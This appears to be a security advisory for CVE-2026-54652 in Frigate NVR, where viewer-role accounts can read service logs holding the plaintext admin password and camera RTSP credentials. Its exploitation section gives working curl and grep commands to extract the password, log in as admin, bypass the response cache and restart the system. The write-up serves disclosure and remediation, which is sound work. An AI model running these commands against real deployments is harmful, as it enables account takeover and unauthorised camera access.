CVE-2026-54652High (CVSS 8.1)Fixed4 min read
Viewer-role log access in Frigate exposed the admin password and camera credentials
Frigate's /api/logs endpoints were readable by any viewer-role user. The logs held the auto-generated admin password in plaintext and camera credentials captured from setup-wizard GET requests, so a viewer could take over the admin account.
- Vendor
- Frigate
- Product
- Frigate NVR
- Weakness
- CWE-269 / CWE-532 / CWE-598 / CWE-863
- Affected
- 0.17.1
- Fixed in
- 0.17.2
- Advisory
- GHSA-c4qf-xxq4-vf55
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Disclosure timeline
May 12, 2026
Reported privately to the Frigate maintainer, verified against 0.17.1 (build 416a9b7).
May 19, 2026
Maintainer confirmed and accepted the report.
Jun 28, 2026
Advisory GHSA-c4qf-xxq4-vf55 published and CVE-2026-54652 assigned; fixed in 0.17.2.
Frigate is a self-hosted network video recorder for IP cameras. It has two account roles: admin runs the system, viewer can watch streams and review events. The viewer role exists to give someone limited access. It turned out a viewer could read the raw service logs, and those logs held the auto-generated admin password and the camera credentials. So the lowest-trust account could take over the highest one.
The fix
Frigate 0.17.2 restricts the /api/logs/{service} endpoints to admins. Upgrading closes the hole, but it does not un-leak anything already written to the logs, so a clean upgrade also means rotating the secrets that were sitting in them. More on that at the end.
The bug
Three separate issues stack into one takeover.
1. The log endpoint trusts any logged-in user. GET /api/logs/{service} is gated by allow_any_authenticated() (frigate/api/app.py:835-838):
@router.get(
"/logs/{service}",
tags=[Tags.logs],
dependencies=[Depends(allow_any_authenticated())],
)
allow_any_authenticated() (frigate/api/auth.py:202-213) only checks that the caller is signed in and not anonymous. It does not check the role. The require_role(["admin"]) dependency exists in the same file and guards other routes like /restart, it just was not applied here.
2. The admin password is written to the log in plaintext. On first boot, and every time the documented auth.reset_admin_password: true flag is set, Frigate generates an admin password and logs it (frigate/app.py:540-571):
password = secrets.token_hex(16)
...
logger.info("*** User: admin ***")
logger.info(f"*** Password: {password} ***")
That logger writes to stderr, s6 captures stderr into /dev/shm/logs/frigate/current, and that file is exactly what /api/logs/frigate serves. The redaction helper Frigate ships (clean_camera_user_pass) only runs on subprocess pipe output, not on direct logger.info calls, so the password line goes out untouched.
3. Camera credentials land in the nginx access log. The camera setup wizard sends RTSP, ONVIF, and Reolink credentials as GET query strings, for example axios.get("ffprobe", { params: { paths: stream.url } }) where stream.url is rtsp://user:pass@host/.... nginx logs the full request line including the query string (log_format main '... "$request" ...'), so every wizard step writes the camera password into /dev/shm/logs/nginx/current, which is what /api/logs/nginx serves.
Exploitation
Tested end to end against ghcr.io/blakeblackshear/frigate:stable, build 0.17.1-416a9b7.
An admin creates a viewer account, snoop, which is the normal way viewer accounts come to exist. From here on everything is done as the viewer.
Pull the Frigate log and grep the password out of it:
$ curl -sk -b snoop.jar "https://frigate.local:8971/api/logs/frigate?download=true" -o f.log
$ grep -oE 'Password: [a-f0-9]{32}' f.log
Password: 992969b5eb5ec9837803108848bb9163
Log in as admin with it:
$ curl -sk -c admin.jar -X POST https://frigate.local:8971/api/login \
-d '{"user":"admin","password":"992969b5eb5ec9837803108848bb9163"}'
# Set-Cookie: frigate_token=... decoded payload: {"sub":"admin","role":"admin"}
One snag worth writing down: nginx caches /api/ responses for 5 seconds with no per-user key (nginx.conf:254-258), so the viewer's earlier /api/profile call poisons the cache and the next call returns the stale viewer body no matter which cookie you send. Add X-Cache-Bypass: 1 to read fresh. POST is not cached, so the admin-only action works straight away:
$ curl -sk -b admin.jar -X POST https://frigate.local:8971/api/restart
{"success":true,"message":"Restarting..."}
Same viewer, the other log, and the camera credentials fall out:
$ curl -sk -b snoop.jar "https://frigate.local:8971/api/logs/nginx?download=true" -o n.log
$ grep -oE 'rtsp://[^@]+@[^ "]+' n.log
rtsp://attacker:supersecret_camera_password_xyz789@evil-cam.example/stream1
Impact
Two payoffs from a single viewer login. The password leg is a straight viewer-to-admin escalation: in a household or rental with one admin and a few viewer accounts, any viewer becomes the admin. The camera leg is arguably worse and does not even need the escalation. The RTSP credentials let an attacker connect to the cameras directly, outside Frigate, bypassing its recording and access logs entirely. Both legs refill on their own: every use of the reset-password flag writes a fresh password, and every wizard run writes fresh camera creds.
If you run Frigate
Upgrade to 0.17.2 or later. Because the secrets were already written to logs, upgrading is not enough on its own:
- Rotate the admin password.
- Rotate every camera credential entered through the setup wizard.
- Treat any archived logs as sensitive, since old copies still hold the plaintext.